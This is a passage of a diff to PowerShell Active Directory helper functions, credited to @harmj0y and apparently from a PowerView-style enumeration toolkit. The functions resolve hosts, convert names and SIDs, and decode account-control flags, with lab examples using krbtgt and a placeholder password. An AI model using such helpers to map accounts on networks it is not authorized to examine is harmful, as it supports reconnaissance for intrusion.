hostname is provided, it defaults to returning - the IP address of the localhost. +.INPUTS - .EXAMPLE +String - PS C:\> Get-IPAddress -ComputerName SERVER - - Return the IPv4 address of 'SERVER' +Accepts one or more IP address strings on the pipeline. - .EXAMPLE +.OUTPUTS - PS C:\> Get-Content .\hostnames.txt | Get-IPAddress +System.Management.Automation.PSCustomObject - Get the IP addresses of all hostnames in an input file. +A custom PSObject with the ComputerName and IPAddress. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] - param( - [Parameter(Position=0, ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = $Env:ComputerName + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME ) - try { - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # get the IP resolution of this specified hostname - @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { - if ($_.AddressFamily -eq 'InterNetwork') { - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ComputerName' $Computer - $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString - $Out + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out + } + } + } + catch { + Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." } } } - catch { - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } } -filter Convert-NameToSid { +function ConvertTo-SID { <# - .SYNOPSIS +.SYNOPSIS + +Converts a given user/group name to a security identifier (SID). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain + +.DESCRIPTION + +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. + +.PARAMETER ObjectName + +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertTo-SID 'DEV\dfm' + +.EXAMPLE - Converts a given user/group name to a security identifier (SID). +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID - .PARAMETER ObjectName +.EXAMPLE - The user/group name to convert, can be 'user' or 'DOMAIN\user' format. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred - .PARAMETER Domain +.INPUTS - Specific domain for the given user account, defaults to the current domain. +String - .EXAMPLE +Accepts one or more username specification strings on the pipeline. - PS C:\> Convert-NameToSid 'DEV\dfm' +.OUTPUTS + +String + +A string representing the SID of the translated name. #> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - [Alias('Name')] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'Identity')] + [String[]] $ObjectName, + [ValidateNotNullOrEmpty()] [String] - $Domain + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $ObjectName = $ObjectName -Replace "/","\" - - if($ObjectName.Contains("\")) { - # if we get a DOMAIN\user format, auto convert it - $Domain = $ObjectName.Split("\")[0] - $ObjectName = $ObjectName.Split("\")[1] - } - elseif(-not $Domain) { - $Domain = (Get-NetDomain).Name + BEGIN { + $DomainSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } } - try { - $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName)) - $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value - - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ObjectName' $ObjectName - $Out | Add-Member Noteproperty 'SID' $SID - $Out - } - catch { - Write-Verbose "Invalid object/name: $Domain\$ObjectName" - $Null + PROCESS { + ForEach ($Object in $ObjectName) { + $Object = $Object -Replace '/','\' + + if ($PSBoundParameters['Credential']) { + $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments + if ($DN) { + $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $UserName = $DN.Split(',')[0].split('=')[1] + + $DomainSearcherArguments['Identity'] = $UserName + $DomainSearcherArguments['Domain'] = $UserDomain + $DomainSearcherArguments['Properties'] = 'objectsid' + Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid + } + } + else { + try { + if ($Object.Contains('\')) { + $Domain = $Object.Split('\')[0] + $Object = $Object.Split('\')[1] + } + elseif (-not $PSBoundParameters['Domain']) { + $DomainSearcherArguments = @{} + $Domain = (Get-Domain @DomainSearcherArguments).Name + } + + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" + } + } + } } } -filter Convert-SidToName { +function ConvertFrom-SID { <# - .SYNOPSIS - - Converts a security identifier (SID) to a group/user name. +.SYNOPSIS + +Converts a security identifier (SID) to a group/user name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName + +.DESCRIPTION + +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. + +.PARAMETER ObjectSid + +Specifies one or more SIDs to convert. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. - .PARAMETER SID - - The SID to convert. +.PARAMETER Server - .EXAMPLE +Specifies an Active Directory server (domain controller) to bind to for the translation. - PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105 +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 + +TESTLAB\harmj0y + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more SID strings on the pipeline. + +.OUTPUTS + +String + +The converted DOMAIN\username. #> + + [OutputType([String])] [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SID')] [ValidatePattern('^S-1-.*')] - $SID + [String[]] + $ObjectSid, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - try { - $SID2 = $SID.trim('*') - - # try to resolve any built-in SIDs first - # from https://support.microsoft.com/en-us/kb/243330 - Switch ($SID2) { - 'S-1-0' { 'Null Authority' } - 'S-1-0-0' { 'Nobody' } - 'S-1-1' { 'World Authority' } - 'S-1-1-0' { 'Everyone' } - 'S-1-2' { 'Local Authority' } - 'S-1-2-0' { 'Local' } - 'S-1-2-1' { 'Console Logon ' } - 'S-1-3' { 'Creator Authority' } - 'S-1-3-0' { 'Creator Owner' } - 'S-1-3-1' { 'Creator Group' } - 'S-1-3-2' { 'Creator Owner Server' } - 'S-1-3-3' { 'Creator Group Server' } - 'S-1-3-4' { 'Owner Rights' } - 'S-1-4' { 'Non-unique Authority' } - 'S-1-5' { 'NT Authority' } - 'S-1-5-1' { 'Dialup' } - 'S-1-5-2' { 'Network' } - 'S-1-5-3' { 'Batch' } - 'S-1-5-4' { 'Interactive' } - 'S-1-5-6' { 'Service' } - 'S-1-5-7' { 'Anonymous' } - 'S-1-5-8' { 'Proxy' } - 'S-1-5-9' { 'Enterprise Domain Controllers' } - 'S-1-5-10' { 'Principal Self' } - 'S-1-5-11' { 'Authenticated Users' } - 'S-1-5-12' { 'Restricted Code' } - 'S-1-5-13' { 'Terminal Server Users' } - 'S-1-5-14' { 'Remote Interactive Logon' } - 'S-1-5-15' { 'This Organization ' } - 'S-1-5-17' { 'This Organization ' } - 'S-1-5-18' { 'Local System' } - 'S-1-5-19' { 'NT Authority' } - 'S-1-5-20' { 'NT Authority' } - 'S-1-5-80-0' { 'All Services ' } - 'S-1-5-32-544' { 'BUILTIN\Administrators' } - 'S-1-5-32-545' { 'BUILTIN\Users' } - 'S-1-5-32-546' { 'BUILTIN\Guests' } - 'S-1-5-32-547' { 'BUILTIN\Power Users' } - 'S-1-5-32-548' { 'BUILTIN\Account Operators' } - 'S-1-5-32-549' { 'BUILTIN\Server Operators' } - 'S-1-5-32-550' { 'BUILTIN\Print Operators' } - 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } - 'S-1-5-32-552' { 'BUILTIN\Replicators' } - 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } - 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } - 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } - 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } - 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } - 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } - 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } - 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } - 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } - 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } - 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } - 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } - 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } - 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } - 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } - 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } - 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } - 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } - Default { - $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) - $Obj.Translate( [System.Security.Principal.NTAccount]).Value + BEGIN { + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($TargetSid in $ObjectSid) { + $TargetSid = $TargetSid.trim('*') + try { + # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 + Switch ($TargetSid) { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + Convert-ADName -Identity $TargetSid @ADNameArguments + } + } + } + catch { + Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" } } } - catch { - Write-Verbose "Invalid SID: $SID" - $SID - } } -filter Convert-ADName { +function Convert-ADName { <# - .SYNOPSIS +.SYNOPSIS + +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION - Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com) - to canonical format (domain.com/Users/user) or NT4. +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. - Based on Bill Stewart's code from this article: - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +.PARAMETER Identity - .PARAMETER ObjectName +Specifies the Active Directory object name to translate, of the following form: - The user/group name to convert. + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' - .PARAMETER InputType +.PARAMETER OutputType - The InputType of the user/group name ("NT4","Simple","Canonical"). +Specifies the output name type you want to convert to, which must be one of the following: - .PARAMETER OutputType + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' - The OutputType of the user/group name ("NT4","Simple","Canonical"). +.PARAMETER Domain - .EXAMPLE +Specifies the domain to use for the translation, defaults to the current domain. - PS C:\> Convert-ADName -ObjectName "dev\dfm" - - Returns "dev.testlab.local/Users/Dave" +.PARAMETER Server - .EXAMPLE +Specifies an Active Directory server (domain controller) to bind to for the translation. - PS C:\> Convert-SidToName "S-..." | Convert-ADName - - Returns the canonical name for the resolved SID. +.PARAMETER Credential - .LINK +Specifies an alternate credential to use for the translation. - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +.EXAMPLE + +Convert-ADName -Identity "TESTLAB\harmj0y" + +harmj0y@testlab.local + +.EXAMPLE + +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +.EXAMPLE + +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more objects name strings on the pipeline. + +.OUTPUTS + +String + +Outputs a string representing the converted name. + +.LINK + +http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 #> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [OutputType([String])] [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'ObjectName')] + [String[]] + $Identity, + [String] - $ObjectName, + [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] + $OutputType, + [ValidateNotNullOrEmpty()] [String] - [ValidateSet("NT4","Simple","Canonical")] - $InputType, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - [ValidateSet("NT4","Simple","Canonical")] - $OutputType + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $NameTypes = @{ - 'Canonical' = 2 - 'NT4' = 3 - 'Simple' = 5 - } + BEGIN { + $NameTypes = @{ + 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com + 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn + 'NT4' = 3 # fabrikam\pflynn + 'Display' = 4 # pflynn + 'DomainSimple' = 5 # pflynn@fabrikam.com + 'EnterpriseSimple' = 6 # pflynn@fabrikam.com + 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} + 'Unknown' = 8 # unknown type - let the server do translation + 'UPN' = 9 # pflynn@fabrikam.com + 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn + 'SPN' = 11 # HTTP/kairomac.contoso.com + 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 + } - if(-not $PSBoundParameters['InputType']) { - if( ($ObjectName.split('/')).Count -eq 2 ) { - $ObjectName = $ObjectName.replace('/', '\') + # accessor functions from Bill Stewart to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Null + $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) + Write-Output $Output } - if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") { - $InputType = 'NT4' + function Get-Property([__ComObject] $Object, [String] $Property) { + $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) } - elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { - $InputType = 'Simple' + + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) } - elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { - $InputType = 'Canonical' + + # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx + if ($PSBoundParameters['Server']) { + $ADSInitType = 2 + $InitName = $Server } - else { - Write-Warning "Can not identify InType for $ObjectName" - return $ObjectName + elseif ($PSBoundParameters['Domain']) { + $ADSInitType = 1 + $InitName = $Domain } - } - elseif($InputType -eq 'NT4') { - $ObjectName = $ObjectName.replace('/', '\') - } - - if(-not $PSBoundParameters['OutputType']) { - $OutputType = Switch($InputType) { - 'NT4' {'Canonical'} - 'Simple' {'NT4'} - 'Canonical' {'NT4'} + elseif ($PSBoundParameters['Credential']) { + $Cred = $Credential.GetNetworkCredential() + $ADSInitType = 1 + $InitName = $Cred.Domain + } + else { + # if no domain or server is specified, default to GC initialization + $ADSInitType = 3 + $InitName = $Null } } - # try to extract the domain from the given format - $Domain = Switch($InputType) { - 'NT4' { $ObjectName.split("\")[0] } - 'Simple' { $ObjectName.split("@")[1] } - 'Canonical' { $ObjectName.split("/")[0] } - } - - # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { - $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) - if ( $Output ) { $Output } - } - function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { - [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) - } + PROCESS { + ForEach ($TargetIdentity in $Identity) { + if (-not $PSBoundParameters['OutputType']) { + if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { + $ADSOutputType = $NameTypes['DomainSimple'] + } + else { + $ADSOutputType = $NameTypes['NT4'] + } + } + else { + $ADSOutputType = $NameTypes[$OutputType] + } - $Translate = New-Object -ComObject NameTranslate + $Translate = New-Object -ComObject NameTranslate - try { - Invoke-Method $Translate "Init" (1, $Domain) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Verbose "Error with translate init in Convert-ADName: $_" - } + if ($PSBoundParameters['Credential']) { + try { + $Cred = $Credential.GetNetworkCredential() + + Invoke-Method $Translate 'InitEx' ( + $ADSInitType, + $InitName, + $Cred.UserName, + $Cred.Domain, + $Cred.Password + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" + } + } + else { + try { + $Null = Invoke-Method $Translate 'Init' ( + $ADSInitType, + $InitName + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" + } + } - Set-Property $Translate "ChaseReferral" (0x60) + # always chase all referrals + Set-Property $Translate 'ChaseReferral' (0x60) - try { - Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName) - (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Verbose "Error with translate Set/Get in Convert-ADName: $_" + try { + # 8 = Unknown name type -> let the server do the work for us + $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) + Invoke-Method $Translate 'Get' ($ADSOutputType) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" + } + } } } function ConvertFrom-UACValue { <# - .SYNOPSIS +.SYNOPSIS + +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +.PARAMETER Value - Converts a UAC int value to human readable form. +Specifies the integer UAC value to convert. - .PARAMETER Value +.PARAMETER ShowAll - The int UAC value to convert. +Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. - .PARAMETER ShowAll +.EXAMPLE - Show all UAC values, with a + indicating the value is currently set. +ConvertFrom-UACValue -Value 66176 - .EXAMPLE +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 - PS C:\> ConvertFrom-UACValue -Value 66176 +.EXAMPLE - Convert the UAC value 66176 to human readable format. +Get-DomainUser harmj0y | ConvertFrom-UACValue - .EXAMPLE +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 - PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue +.EXAMPLE - Convert the UAC value for 'jason' to human readable format. +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll - .EXAMPLE +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 - PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll +.INPUTS - Convert the UAC value for 'jason' to human readable format, showing all - possible UAC values. +Int + +Accepts an integer representing a UAC binary blob. + +.OUTPUTS + +System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 #> - + + [OutputType('System.Collections.Specialized.OrderedDictionary')] [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('UAC', 'useraccountcontrol')] + [Int] $Value, [Switch] $ShowAll ) - begin { + BEGIN { # values from https://support.microsoft.com/en-us/kb/305144 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary $UACValues.Add("SCRIPT", 1) @@ -1214,26 +1724,12 @@ function ConvertFrom-UACValue { $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) } - process { - + PROCESS { $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary - if($Value -is [Int]) { - $IntValue = $Value - } - elseif ($Value -is [PSCustomObject]) { - if($Value.useraccountcontrol) { - $IntValue = $Value.useraccountcontrol - } - } - else { - Write-Warning "Invalid object input for -Value : $Value" - return $Null - } - - if($ShowAll) { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + if ($ShowAll) { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") } else { @@ -1242,8 +1738,8 @@ function ConvertFrom-UACValue { } } else { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { 